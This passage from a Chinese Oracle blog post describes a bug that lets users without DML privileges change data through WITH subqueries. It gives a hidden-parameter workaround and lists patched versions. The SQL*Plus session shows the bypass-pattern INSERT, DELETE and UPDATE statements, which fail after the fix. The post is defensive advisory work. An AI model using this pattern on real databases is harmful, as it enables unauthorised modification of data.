这里确实证明了,在没有dml情况下,可以通过with方式实现dml操作,从而实现无更改记录用户实现dml操作,数据库存在安全隐患,通过查询mos等相关信息,确定该bug影响数据库11.2.0.3，11.2.0.4,12.1.0.1等常见版本

对于不能及时升级的用户使用_with_subquery参数临时规避该bug
这个隐含参数的含义是在用with子句查询的时候，将 查询结果物化成temp表，（其实这也是我们常用with子句的目的，物化、缓存结果集）

SQL> conn / as sysdba
Connected.
SQL> col name for a52
col value for a24
SQL> SQL> col description for a50
set linesize 150
SQL> SQL> select a.ksppinm name,b.ksppstvl value,a.ksppdesc description
  2    from x$ksppi a,x$ksppcv b
 where a.inst_id = USERENV ('Instance')
  3    4     and b.inst_id = USERENV ('Instance')
  5     and a.indx = b.indx
  6     and upper(a.ksppinm) LIKE upper('%&param%')
  7  order by name
/  8  
Enter value for param: _WITH_SUBQUERY
old   6:    and upper(a.ksppinm) LIKE upper('%&param%')
new   6:    and upper(a.ksppinm) LIKE upper('%_WITH_SUBQUERY%')

NAME                                                 VALUE                    DESCRIPTION
---------------------------------------------------- ------------------------ ------------------------------
_with_subquery                                       OPTIMIZER                WITH subquery transformation



SQL> alter system  set "_with_subquery"=materialize; 

System altered.
                             

SQL> alter system  set "_with_subquery"=materialize; 

System altered.

SQL> insert into  (with tmp as (select * from chf.t_dml)
  2   select * from tmp) select * from chf.t_dml where rownum<10;
insert into  (with tmp as (select * from chf.t_dml)
             *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view


SQL> delete (with tmp as (select user_id,username from chf.t_dml)
  2   select user_id,username from tmp)  where user_id=5;
delete (with tmp as (select user_id,username from chf.t_dml)
       *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view


SQL> update(with tmp as (select user_id,username from chf.t_dml)
  2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
update(with tmp as (select user_id,username from chf.t_dml)
      *
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view

该漏洞在2014年7月的CPU中被修正,以下psu中包含了该cpu补丁,如果条件允许,建议尽快升级如下版本

Version 12.1.0.1.4 or later
Version 11.2.0.4.3 or later
Version 11.2.0.3.11 or later
Version 11.1.0.7.20 or later
发表在 Oracle, Oracle Bug | 标签为 | 评论关闭